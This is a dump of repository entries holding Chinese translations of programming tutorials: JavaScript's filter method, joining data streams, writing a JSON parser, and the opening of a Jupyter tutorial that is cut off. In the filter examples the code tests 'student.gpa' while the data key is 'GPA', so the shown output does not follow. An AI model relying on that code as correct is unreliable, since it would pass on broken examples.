    "content": "> - 原文地址：[JavaScript’s Filter Function Explained By Applying To College](https://codeburst.io/javascripts-filter-function-explained-by-applying-to-college-a21bceeba041)\n> - 原文作者：[Kevin Kononenko](https://codeburst.io/@kevink?source=post_header_lockup)\n> - 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> - 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/javascripts-filter-function-explained-by-applying-to-college.md](https://github.com/xitu/gold-miner/blob/master/TODO1/javascripts-filter-function-explained-by-applying-to-college.md)\n> - 译者： [Calpa](https://calpa.me)\n> - 校对者：[linxuesia](https://github.com/linxuesia), [rydensun](https://github.com/rydensun)\n\n# 以申请大学流程来解释 JavaScript 的 filter 方法\n\n## 如果你熟悉申请大学流程的话，你也可以理解 JavaScript 的 filter 方法。\n\n![](https://cdn-images-1.medium.com/max/800/1*c4dbmD3a3hDCxLXte3taTw.jpeg)\n\n相对于 JavaScript 里面的 map() 和 reduce() 方法来说，filter() 方法也许是最一目了然的方法。\n\n**你输入一个数组，以特定方法过滤它们，並返回一个新的数组。**\n\n这个看起来很简单，不过我总是想把它换成 for() 循环。因此，我选择一种更加好的方法去理解 filter() 是如何运行的。\n\n我发现，filter 方法就类似大学入学审批官。它们用一堆的参数来决定哪些学生可以进入他们特定的学院。是的，我们希望学院都可以更加灵活，全面地考察我们过去的成就，不过在实际情况中，很多硬性数字指标例如 SAT、ACT 和 GPA 绩点才是考量的决定因素。\n\n就让我们一起探讨这个流程吧。\n\n![](https://cdn-images-1.medium.com/max/800/0*PWtOoSbsLMCAcXmC.png)\n\n### 使用 For 循环而不是 Filter 函数\n\n好的，我们假设这里有四个同学，并列出他们的名字和 GPA。有一个学院只想要拥有 3.2 GPA 以上的学生进入学院。下面是你可能的做法。\n\n```\nlet students = [\n  {\n    name: \"david\",\n    GPA: 3.3\n  },\n  {\n    name: \"sheila\",\n    GPA: 3.1\n  },\n  {\n    name: \"Alonzo\",\n    GPA: 3.65\n  },\n  {\n    name: \"Mary\",\n    GPA: 3.8\n  }\n]\n\nlet admitted =[];\n\nfor (let i=0; i < students.length; i++){\n  if(students[i].gpa > 3.2)\n    admitted.push(students[i]);\n}\n\n/*admitted = [\n  {\n    name: \"david\",\n    GPA: 3.3\n  },\n  {\n    name: \"Alonzo\",\n    GPA: 3.65\n  },\n  {\n    name: \"Mary\",\n    GPA: 3.8\n  }\n];*/\n```\n\n哇！这个是一个过于复杂的例子。如果有人阅读你的代码，他们可能需要追踪多个数组，才意识到你的一个简单过滤数组方法。同时，你需要仔细地追踪 _i_ 来避免发生错误。就让我们学习如何利用 filter 方法来达到相同效果吧。\n\n### 使用 Filter() 方法\n\n就让我们使用 filter() 方法来达到相同效果吧。\n\n1. Filter 是一个数组方法，所以我们会从学生数组开始。\n2. 对于每一个数组里面的元素，它会调用一个回调（callback）方法。\n3. 它用 return 来声明哪些元素会出现在最终的数组里面，也就是被录取的学生。\n\n```\nlet students = [\n  {\n    name: \"david\",\n    GPA: 3.3\n  },\n  {\n    name: \"sheila\",\n    GPA: 3.1\n  },\n  {\n    name: \"Alonzo\",\n    GPA: 3.65\n  },\n  {\n    name: \"Mary\",\n    GPA: 3.8\n  }\n]\n\nlet admitted = students.filter(function(student){\n   return student.gpa > 3.2;\n})\n\n/*admitted = [\n  {\n    name: \"david\",\n    GPA: 3.3\n  },\n  {\n    name: \"Alonzo\",\n    GPA: 3.65\n  },\n  {\n    name: \"Mary\",\n    GPA: 3.8\n  }\n];*/\n```\n\n输入和输出都是一样的，这里是我们做法不一样的地方：\n\n1. 我们不需要定义一个 admitted 数组，然后填充它。我们可以在同一个代码块里面同时定义，並填充它的元素。\n2. 我们实际上是在 return 语句中使用了一个条件判断式！这代表我们只需要返回那些符合条件的元素。\n3. 我们现在可以用 _student_ 而不是在 _for_ 循环里面的 student[i] 来循环每个数组里面的元素，\n\n![](https://cdn-images-1.medium.com/max/800/0*0TEOSb8MRGdi_lDb)\n\n![](https://cdn-images-1.medium.com/max/800/0*oV583nYxvCID3r_G)\n\n你可能注意到一件事，與直觉相反 — 我们只会在最后一步获得录取资格，不过在我们的代码里面，变量 _admitted_ 是首先出现在 statement 里面！你可能会预期在这个函数的最后去寻找最终的数组。取而代之，我们用返回来表示哪个元素会结束在 _admitted_。\n\n![](https://cdn-images-1.medium.com/max/800/0*VvRQ32vesw8bJsn3)\n\n### 例子 2 — 在 Filter 里面用两个条件判断式\n\n直至现在，在我们的 filter 方法内，我们只用了一个条件判断式。不过这并不代表全部的大学入学流程！通常，入学审查官会观察超过 10 个因素。\n\n让我们看一下这两个因素 — GPA 和 SAT 分数。学生必须拥有 GPA 绩点超过 3.2 及 SAT 分数超过 1900。下面是函数应该出现的样子。\n\n```\nlet students = [\n  {\n    name: \"david\",\n    GPA: 3.3,\n    SAT: 2000\n  },\n  {\n    name: \"sheila\",\n    GPA: 3.1,\n    SAT: 1600\n  },\n  {\n    name: \"Alonzo\",\n    GPA: 3.65,\n    SAT: 1700\n  },\n  {\n    name: \"Mary\",\n    GPA: 3.8,\n    SAT: 2100\n  }\n]\n\nlet admitted = students.filter(function(student){\n   return student.gpa > 3.2 && student.SAT > 1900;\n})\n\n/*admitted = [\n  {\n    name: \"david\",\n    GPA: 3.3,\n    SAT: 2000\n  },\n  {\n    name: \"Mary\",\n    GPA: 3.8,\n    SAT: 2100\n  }\n];*/\n```\n\n看起来很像，对吧？现在我们有两个条件判断式在 _return_ statement 里面。让我们把这段代码再拆分一下。\n\n```\nlet admitted = students.filter(function(student){\n   let goodStudent = student.gpa > 3.2 && student.SAT > 1900\n   return goodStudent;\n})\n```\n\n啊！所以与 _for_ 循环相比的话，这里就是另外一个重要的差异处。如果你观察一下 goodStudent 变量的话，就会发现它只会得出 true 或者是 false 值，然后，这个布尔值被赋值给返回语句。\n\n所以， _true_ 或者 false 真的决定了，原始数组里面每个的元素是包含还是排除，然后放到结果的数组， _admitted_。\n\n![](https://cdn-images-1.medium.com/max/800/0*OVFaI775MKnz6jrQ)\n\n![](https://cdn-images-1.medium.com/max/800/0*9_aVs54EmW0P5UnJ)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/joining-data-streams.md",
    "content": "> * 原文地址：[Joining Data Streams](http://tutorials.jenkov.com/data-streaming/joining-data-streams.html)\n> * 原文作者：[Jakob Jenkov](https://twitter.com/#!/jjenkov)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/joining-data-streams.md](https://github.com/xitu/gold-miner/blob/master/TODO1/joining-data-streams.md)\n> * 译者：[whatbeg](https://github.com/whatbeg)\n> * 校对者：[xionglong58](https://github.com/xionglong58), [Fengziyin1234 ](https://github.com/Fengziyin1234)\n\n# 连接数据流\n\n连接数据流意味着将一个数据流的消息与另一个数据流的消息连接起来，这通常基于这些消息中的关键字。一旦开始连接数据流，它将牵扯到如何处理流以及如何扩展流的方式。连接数据流还会影响到连接过程中存储消息所需的存储空间大小。\n\n## 基本的流连接\n\n连接流的基本概念指的是你从多个流中读取消息并将这些消息连接在一起。例如，假设你有一个数据流包含客户更新的更新事件，另一个流包含客户合同的更新事件。当你收到客户的更新时，你可能希望查找客户的所有联系人并对其执行某些操作。例如，你可以将合同附加到客户对象，并将附加后的客户对象转发到另一个数据流。或者，假设客户的婚姻状况从已婚变为单身，你可能会想检查他们的合同是否应该做相应的更改。\n\n![](http://tutorials.jenkov.com/images/data-streaming/joining-data-streams-1.png)\n\n当连接流时，彼此相关的不同流中的消息通常由一组关键字标识。例如，客户具有客户 ID，合同具有合同 ID 以及合同所属的客户 ID（外键）。要将特定客户对象与其相关的合同对象连接起来，你可以在合同流中查找合同对象，确保这个合同对象有一个客户的 ID 对应所查询的客户的客户 ID。\n\n## 流数据视图\n\n当处理数据流时，你是一次处理一条消息或记录。你无权访问该数据流中的任何先前的记录，同样也无法访问任何将来的记录。因此，为了能够从另一个流中定位记录，该流的消息必须存储在某种数据视图中。\n\n![](http://tutorials.jenkov.com/images/data-streaming/joining-data-streams-2.png)\n\n数据视图有两种常见的变体：\n\n*   窗口（Windows）\n*   表（Tables）\n\n### 数据窗口（Data Windows）\n\n一个**数据窗口**保存了一个可以在其中查找记录的记录**视窗**。数据窗口通常受时间，记录数量和其他存储约束的限制。当预计两个流中的记录在到达时间上彼此接近时，时间通常被用来限制窗口。然后，一个流中的记录可以存储在一个窗口中，例如 5 分钟或 30 分钟（或适合实际用例的任何时间窗口），直到其他数据流中的记录到达。\n\n### 数据表（Data Tables）\n\n一个**数据表**将记录保存在表格型数据结构中。这样的数据结构可以是简单的关键字，记录的映射，这里，记录可以通过其关键字来查找。记录也可以存储在其他地方，如数据库表，以便可以通过主键，外键和其他值找到记录。\n\n### 数据窗口和数据表的组合\n\n数据窗口和表格可以组合。数据表中可以仅存放记录窗口的数据。当记录“太旧”而不在窗口中时，它也将会重新从数据表中被删除。\n\n### 其他数据视图\n\n还可以对数据流或数据窗口中的记录使用其他数据结构（如树或图）来构建数据视图。这一切都取决于你的需求。\n\n## 转发连接后的记录\n\n有时，你可能希望从一个数据流中转发记录，而该数据流已与另一个数据流中的记录进行了连接。这里的**转发**指的是将连接后的记录写入另一个数据流，供其他人使用。这里的**连接**指的是要么将一条记录插入另一条记录，要么创建一条包含两条记录的连接信息的新记录。这两个选项都在下图说明：\n\n![](http://tutorials.jenkov.com/images/data-streaming/joining-data-streams-3.png)\n\n一旦你转发连接后的记录，会有一些问题影响到系统的正确性和性能。我将在以下部分介绍这些问题。\n\n## 时序问题\n\n输入数据流中记录到达的时序会影响处理或转发时连接后记录的样子。下图说明了时序的差异如何影响两个输入记录的连接记录：\n\n![](http://tutorials.jenkov.com/images/data-streaming/joining-data-streams-4.png)\n\n记录 A 和 B 各自被更新 2 次。这两个版本标注为 A1，A2，B1 和 B2，其中数字代表记录的版本。请注意，A1，A2，B1 和 B2 的到达时间是如何影响处理或转发时连接记录的外观的。该图显示了 3 种不同的时序排列，并且在每种情况下连接的结果看起来都不同。\n\n注意，即使最终连接后的记录看起来相同，得到最终记录的连接记录也不会相同。另外，请记住，你永远不知道“最终”记录何时被连接。没有任何办法可以知道输入数据流中将来会发生什么。因此，你不能只查看上面示例中的最后一条记录，就得出数据流中这些记录的连接操作的“最终”结果。“最终”结果是所有中间突变中连接记录的完整序列。\n\n## 水平扩展性问题\n\n如果你的数据流是水平扩展的（scale out），则连接记录将更加困难。在本节中，我将尝试向你解释为什么会这样。\n\n如本教程之前所述，连接的记录通常由其键匹配。例如，一个 Customer 记录可能使用 customerId 作为主键，而一个 Contract 记录可能具有引用 Customer 记录的主键 customerId 的外键 customerIdFk。\n\n当水平扩展数据流时，数据流中的记录在不同的计算机上进行分区。要连接两条记录，要么将记录分区到同一台计算机上，要么你的连接操作必须知道如何查找存储在另一台计算机上的记录。这两个选项将在以下各节做更详细的介绍。\n\n### 记录重分区\n\n如果你的连接操作不知道如何查找存储在另一台计算机上的记录，则必须对要连接的记录进行分区，以便要连接的记录都位于同一台计算机上。如果此分区不是记录的自然分区，则必须重新分区其中一个数据流中的记录，以便将需要连接的记录放置在同一计算机上。\n\n![](http://tutorials.jenkov.com/images/data-streaming/joining-data-streams-5.png)\n\n注意，记录的重新分区会降低完整记录处理链（也就是图或拓扑）的性能。重新分区还会创建被重新分区的记录的额外副本。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/json-parser-with-javascript.md",
    "content": "> * 原文地址：[JSON Parser with JavaScript](https://lihautan.com/json-parser-with-javascript/)\n> * 原文作者：[Tan Li Hau](https://lihautan.com/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/json-parser-with-javascript.md](https://github.com/xitu/gold-miner/blob/master/TODO1/json-parser-with-javascript.md)\n> * 译者：[Gavin-Gong](https://github.com/Gavin-Gong)\n> * 校对者：[vitoxli](https://github.com/vitoxli)，[Chorer](https://github.com/Chorer)\n\n# 使用 JavaScript 编写 JSON 解析器\n\n这周的 Cassidoo 的每周简讯有这么一个面试题：\n> 写一个函数，这个函数接收一个正确的 JSON 字符串并将其转化为一个对象（或字典，映射等，这取决于你选择的语言）。示例输入：\n\n```text\nfakeParseJSON('{ \"data\": { \"fish\": \"cake\", \"array\": [1,2,3], \"children\": [ { \"something\": \"else\" }, { \"candy\": \"cane\" }, { \"sponge\": \"bob\" } ] } } ')\n```\n\n一度我忍不住想这样写：\n\n```js\nconst fakeParseJSON = JSON.parse;\n```\n\n但是，我记起我写过一些关于 AST 的文章：\n\n* [使用 Babel 创建自定义 JavaScript 语法](/creating-custom-javascript-syntax-with-babel)\n* [一步一步教你写一个自定义 babel 转化器](/step-by-step-guide-for-writing-a-babel-transformation)\n* [使用 JavaScript 操作 AST](/manipulating-ast-with-javascript)\n\n其中包括编译器管道的概述，以及如何操作 AST，但是我还没有详细介绍如何实现解析器。\n\n这是因为在一篇文章中实现 JavaScript 编译器对我来说是一项艰巨的任务。\n\n好了，不用担心。JSON 也是一种语言。它有自己的语法，你可以查阅它的 [规范](https://www.json.org/json-en.html)。编写 JSON 解析器所需的知识和技术可以助你编写 JS 解析器。\n\n那么，让我们开始编写一个 JSON 解析器吧！\n\n## 理解语法\n\n如果你有查看 [规范页面](https://www.json.org/json-en.html)，你会发现两个图：\n\n* 左边的 [语法图 (或者铁路图)](https://en.wikipedia.org/wiki/Syntax_diagram)，\n\n![https://www.json.org/img/object.png](https://www.json.org/img/object.png) Image source: [https://www.json.org/img/object.png](https://www.json.org/img/object.png)\n\n* 右边的 [The McKeeman Form](https://www.crockford.com/mckeeman.html)，[巴科斯-诺尔范式(BNF)](https://en.wikipedia.org/wiki/Backus%E2%80%93Naur_form) 的一种变体\n\n```text\njson\n  element\n\nvalue\n  object\n  array\n  string\n  number\n  \"true\"\n  \"false\"\n  \"null\"\n\nobject\n  '{' ws '}'\n  '{' members '}'\n```\n\n两个图是等价的。\n\n一个基于视觉，一个基于文本。基于文本语法的语法 —— 巴科斯-诺尔范式，通常被提供给另一个解析这种语法并为其生成解析器的解析器，终于说到解析器了！🤯\n\n在本文中，我们将重点关注铁路图，因为它是可视化的，而且似乎对我更友好。\n\n让我们看看第一张铁路图：\n\n![https://www.json.org/img/object.png](https://www.json.org/img/object.png) Image source: [https://www.json.org/img/object.png](https://www.json.org/img/object.png)\n\n我们可以看出这是 **『object』** 在 JSON 中的语法。\n\n我们从左边开始，沿着箭头走，一直走到右边为止。\n\n圈圈里面是字符，例如 `{`、`,`、`:`、`}`，矩形里面是其它语法的占位符，例如 `whitespace`、`string` 和 `value`。因此要解析『whitespace』，我们需要查阅 **『whitepsace』** 语法。\n\n因此，对于一个对象而言，从左边开始，第一个字符必须是一个左花括号 `{`。然后我们有两种情况：\n\n* `whitespace` → `}` → 结束，或者\n* `whitespace` → `string` → `whitespace` → `:` → `value` → `}` → 结束\n\n当然当你抵达『value』的时候，你可以选择继续下去：\n\n* → `}` → 结束，或者\n* → `,` → `whitespace` → … → `value`\n\n你可以继续循环，直到你决定去：\n\n* → `}` → 结束。\n\n那么，我想我们现在已经熟悉了铁路图，让我们继续到下一节。\n\n## 实现解析器\n\n让我们从以下结构开始：\n\n```js\nfunction fakeParseJSON(str) {\n  let i = 0;\n  // TODO\n}\n```\n\n我们初始化 `i` 将其作为当前字符的索引值，只要 `i` 值到达 `str` 的长度，我们就会结束函数。\n\n让我们实现 **『object』** 语法：\n\n```js\nfunction fakeParseJSON(str) {\n  let i = 0;\n  function parseObject() {\n    if (str[i] === '{') {\n      i++;\n      skipWhitespace();\n\n      // 如果不是 '}',\n      // 我们接收 string -> whitespace -> ':' -> value -> ... 这样的路径字符串\n      while (str[i] !== '}') {\n        const key = parseString();\n        skipWhitespace();\n        eatColon();\n        const value = parseValue();\n      }\n    }\n  }\n}\n```\n\n我们可以调用 `parseObject` 来解析类似『string』和『whitespace』之类的语法，只要我们实现这些功能，一切都会工作🤞。\n\n我忘了加上一个逗号 `,`。`,`只出现在我们开始第二次 `whitespace` → `string` → `whitespace` → `:` → … 循环之前。\n\n在此基础上，我们增加了以下几行：\n\n```js\nfunction fakeParseJSON(str) {\n  let i = 0;\n  function parseObject() {\n    if (str[i] === '{') {\n      i++;\n      skipWhitespace();\n\n      let initial = true;\n      // 如果不是 '}',\n      // 我们接收 string -> whitespace -> ':' -> value -> ... 这样的路径字符串\n      while (str[i] !== '}') {\n        if (!initial) {\n          eatComma();\n          skipWhitespace();\n        }\n        const key = parseString();\n        skipWhitespace();\n        eatColon();\n        const value = parseValue();\n        initial = false;      }\n      // 移动到下一个 '}' 字符\n      i++;\n    }\n  }\n}\n```\n\n一些命名约定：\n\n* 当我们根据语法解析代码并使用返回值时，命名为 `parseSomething`\n* 当我们期望字符在那里，但是我们没有使用字符时，命名为 `eatSomething`\n* 当字符不存在，我们也可以接受。命名为 `skipSomething`\n\n让我们实现 `eatComma` 和 `eatColon`：\n\n```js\nfunction fakeParseJSON(str) {\n  // ...\n  function eatComma() {\n    if (str[i] !== ',') {\n      throw new Error('Expected \",\".');\n    }\n    i++;\n  }\n\n  function eatColon() {\n    if (str[i] !== ':') {\n      throw new Error('Expected \":\".');\n    }\n    i++;\n  }\n}\n```\n\n目前为止我们成功实现一个 `parseObject` 语法，但是这个解析函数返回什么值呢？\n\n不错，我们需要返回一个 JavaScript 对象：\n\n```js\nfunction fakeParseJSON(str) {\n  let i = 0;\n  function parseObject() {\n    if (str[i] === '{') {\n      i++;\n      skipWhitespace();\n\n      const result = {};\n      let initial = true;\n      // 如果不是 '}',\n      // 我们接收 string -> whitespace -> ':' -> value -> ... 这样的路径字符串\n      while (str[i] !== '}') {\n        if (!initial) {\n          eatComma();\n          skipWhitespace();\n        }\n        const key = parseString();\n        skipWhitespace();\n        eatColon();\n        const value = parseValue();\n        result[key] = value;        initial = false;\n      }\n      // 移动到下一个 '}' 字符\n      i++;\n\n      return result;    }\n  }\n}\n```\n\n既然你已经看到我实现了『object』语法，现在是时候让你尝试一下『array』语法了：\n\n![https://www.json.org/img/array.png](https://www.json.org/img/array.png) Image source: [https://www.json.org/img/array.png](https://www.json.org/img/array.png)\n\n```js\nfunction fakeParseJSON(str) {\n  // ...\n  function parseArray() {\n    if (str[i] === '[') {\n      i++;\n      skipWhitespace();\n\n      const result = [];\n      let initial = true;\n      while (str[i] !== ']') {\n        if (!initial) {\n          eatComma();\n        }\n        const value = parseValue();\n        result.push(value);\n        initial = false;\n      }\n      // 移动到下一个 '}' 字符\n      i++;\n      return result;\n    }\n  }\n}\n```\n\n现在，我们来看一个更有趣的语法，『value』：\n\n![https://www.json.org/img/value.png](https://www.json.org/img/value.png) Image source: [https://www.json.org/img/value.png](https://www.json.org/img/value.png)\n\n一个值以 『whitespace』 开始，然后是以下任何一种：『string』、『number』、『object』、『array』、『true』、『false』或者『null』，然后以一个『whitespace』结束：\n\n```js\nfunction fakeParseJSON(str) {\n  // ...\n  function parseValue() {\n    skipWhitespace();\n    const value =\n      parseString() ??\n      parseNumber() ??\n      parseObject() ??\n      parseArray() ??\n      parseKeyword('true', true) ??\n      parseKeyword('false', false) ??\n      parseKeyword('null', null);\n    skipWhitespace();\n    return value;\n  }\n}\n```\n\n`??` 称之为 [空值合并运算符](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Nullish_coalescing_operator)，它类似我们用来设置默认值 `foo || default` 中的 `||`，只要`foo`是假值，`||` 就会返回 `default`，\n而空值合并运算符只会在 `foo` 为 `null` 或 `undefined` 时返回 `default`。\n\n`parseKeyword` 将检查当前 `str.slice(i)` 是否与关键字字符串匹配，如果匹配，将返回关键字值：\n\n```js\nfunction fakeParseJSON(str) {\n  // ...\n  function parseKeyword(name, value) {\n    if (str.slice(i, i + name.length) === name) {\n      i += name.length;\n      return value;\n    }\n  }\n}\n```\n\n这就是 `parseValue`！\n\n我们还有 3 个以上的语法要实现，但我为了控制文章篇幅，在下面的 [CodeSandbox](https://codesandbox.io/s/json-parser-k4c3w?from-embed) 中实现这些语法。\n\n在我们完成所有的语法实现之后，现在让我们返回 `parseValue` 返回的 json 值：\n\n```js\nfunction fakeParseJSON(str) {\n  let i = 0;\n  return parseValue();\n\n  // ...\n}\n```\n\n就是这样！\n\n好吧，别急，我的朋友，我们刚刚完成了理想情况，那非理想情况呢？\n\n## 处理意外输入\n\n作为一个优秀的开发人员，我们也需要优雅地处理非理想情况。对于解析器，这意味着使用适当的错误消息大声警告开发人员。\n\n让我们来处理两个最常见的错误情况：\n\n* Unexpected token\n* Unexpected end of string\n\n### Unexpected token\n\n### Unexpected end of string\n\n在所有的 while 循环中，例如 `parseObject` 中的 while 循环：\n\n```js\nfunction fakeParseJSON(str) {\n  // ...\n  function parseObject() {\n    // ...\n    while(str[i] !== '}') {\n```\n\n我们需要确保访问的字符不会超过字符串的长度。这发生在字符串意外结束时，而我们仍然在等待一个结束字符 —— `}`。比如说下面的例子：\n\n```js\nfunction fakeParseJSON(str) {\n  // ...\n  function parseObject() {\n    // ...\n    while (i < str.length && str[i] !== '}') {      // ...\n    }\n    checkUnexpectedEndOfInput();\n    // 移动到下一个 '}' 字符\n    i++;\n\n    return result;\n  }\n}\n```\n\n## 加倍努力\n\n你还记得当你还是一个初级开发者时，每次遇到含糊不清的语法报错时，你都完全不知道哪里出错了吗？\n现在你更有经验了，是时候停止这种恶性循环，停止吐槽了。\n\n```js\nUnexpected token \"a\"\n```\n\n然后让用户盯着屏幕发呆。\n\n有很多比吐槽更好的处理错误消息的方法，下面是一些你可以考虑添加到你的解析器的要点：\n\n### 错误代码和标准错误消息\n\n标准关键字对用户谷歌寻求帮助很有用。\n\n```js\n// 不要这样显示\nUnexpected token \"a\"\nUnexpected end of input\n\n// 而要这样显示\nJSON_ERROR_001 Unexpected token \"a\"\nJSON_ERROR_002 Unexpected end of input\n```\n\n### 更好地查看哪里出了问题\n\n像 Babel 这样的解析器，会向你显示一个代码框架，它是一个带有下划线、箭头或突出显示错误的代码片段\n\n```js\n// 不要这样显示\nUnexpected token \"a\" at position 5\n\n// 而要这样显示\n{ \"b\"a\n      ^\nJSON_ERROR_001 Unexpected token \"a\"\n```\n\n一个如何输出代码片段的例子：\n\n```js\nfunction fakeParseJSON(str) {\n  // ...\n  function printCodeSnippet() {\n    const from = Math.max(0, i - 10);\n    const trimmed = from > 0;\n    const padding = (trimmed ? 3 : 0) + (i - from);\n    const snippet = [\n      (trimmed ? '...' : '') + str.slice(from, i + 1),\n      ' '.repeat(padding) + '^',\n      ' '.repeat(padding) + message,\n    ].join('\\n');\n    console.log(snippet);\n  }\n}\n```\n\n### 错误恢复建议\n\n如果可能的话，解释出了什么问题，并给出解决问题的建议\n\n```js\n// 不要这样显示\nUnexpected token \"a\" at position 5\n\n// 而要这样显示\n{ \"b\"a\n      ^\nJSON_ERROR_001 Unexpected token \"a\".\nExpecting a \":\" over here, eg:\n{ \"b\": \"bar\" }\n      ^\nYou can learn more about valid JSON string in http://goo.gl/xxxxx\n```\n\n如果可能，根据解析器目前收集的上下文提供建议\n\n```js\nfakeParseJSON('\"Lorem ipsum');\n\n// 这样显示\nExpecting a `\"` over here, eg:\n\"Foo Bar\"\n        ^\n\n// 这样显示\nExpecting a `\"` over here, eg:\n\"Lorem ipsum\"\n            ^\n```\n\n基于上下文的建议会让人感觉更有关联性和可操作性。\n记住所有的建议，用以下几点检查已经更新的 [CodeSandbox](https://codesandbox.io/s/json-parser-with-error-handling-hjwxk?from-embed)\n\n* 有意义的错误消息\n* 带有错误指向失败点的代码段\n* 为错误恢复提供建议\n\n## 总结\n\n要实现解析器，你需要从语法开始。\n你可以用铁路图或巴科斯-诺尔范式来使语法正式化。设计语法是最困难的一步。\n一旦你解决了语法问题，就可以开始基于语法实现解析器。\n错误处理很重要，更重要的是要有有意义的错误消息，以便用户知道如何修复它。\n现在，你已经了解了如何实现简单的解析器，现在应该关注更复杂的解析器了：\n\n* [Babel parser](https://github.com/babel/babel/tree/master/packages/babel-parser)\n* [Svelte parser](https://github.com/sveltejs/svelte/tree/master/src/compiler/parse)\n\n最后，请关注 [@cassidoo](https://twitter.com/cassidoo)，她的每周简讯棒极了！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/jupyter-notebook-tutorial.md",
    "content": "> * 原文地址：[Jupyter Notebook for Beginners: A Tutorial](https://www.dataquest.io/blog/jupyter-notebook-tutorial/)\n> * 原文作者：[dataquest](https://www.dataquest.io)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/jupyter-notebook-tutorial.md](https://github.com/xitu/gold-miner/blob/master/TODO1/jupyter-notebook-tutorial.md)\n> * 译者：[SergeyChang](https://github.com/SergeyChang)\n> * 校对者：[sunhaokk](https://github.com/sunhaokk)，[陆尘](https://github.com/sisibeloved)\n\n# 给初学者的 Jupyter Notebook 教程\n\nJupyter Notebook 是一个非常强大的工具，常用于交互式地开发和展示数据科学项目。它将代码和它的输出集成到一个文档中，并且结合了可视的叙述性文本、数学方程和其他丰富的媒体。它直观的工作流促进了迭代和快速的开发，使得 notebook 在当代数据科学、分析和越来越多的科学研究中越来越受欢迎。最重要的是，作为[开源项目](https://jupyter.org/)的一部分，它们是完全免费的。\n\nJupyter 项目是早期 IPython Notebook 的继承者，它在 2010 年首次作为原型发布。尽管在 Jupyter Notebook 中可以使用许多不同的编程语言，但本文将重点介绍 Python，因为在 Jupyter Notebook 中 python 是最常见的。\n\n为了充分理解本教程，你应该熟悉编程，特别是 Python 和 [pandas](https://pandas.pydata.org/)（译者注：Pandas 是python的一个数据分析包）。也就是说，如果你有编程经验，这篇文章中的 Python 不会太陌生，而 pandas 也是容易理解的。Jupyter Notebooks 也可以作为一个灵活的平台来运行 pandas 甚至是 Python，这将在这篇文章中体现。\n\n我们将会：\n\n* 介绍一些安装 Jupyter 和创建你的第一个 notebook 的基本知识。\n* 深入钻研，学习所有重要的术语。\n* 探索笔记是如何轻松地在网上共享和发布。事实上，这篇文章就是一个 Jupyter notebook！这里的一切都是在 Jupyter notebook 环境中编写的，而你正在以只读的形式查看它。\n\n### Jupyter Notebook 数据分析实例\n\n我们将通过一个样本分析，来回答一个真实的问题，这样你就可以看到一个 notebook 的工作流是如何使任务直观地完成的，当我们分享给其他人时也可以让其他人更好地理解。\n\n假设你是一名数据分析师，你的任务是弄清楚美国最大公司的利润变化历史。你会发现自从 1955 年第一次发表这个名单以来，已有超过 50 年的财富 500 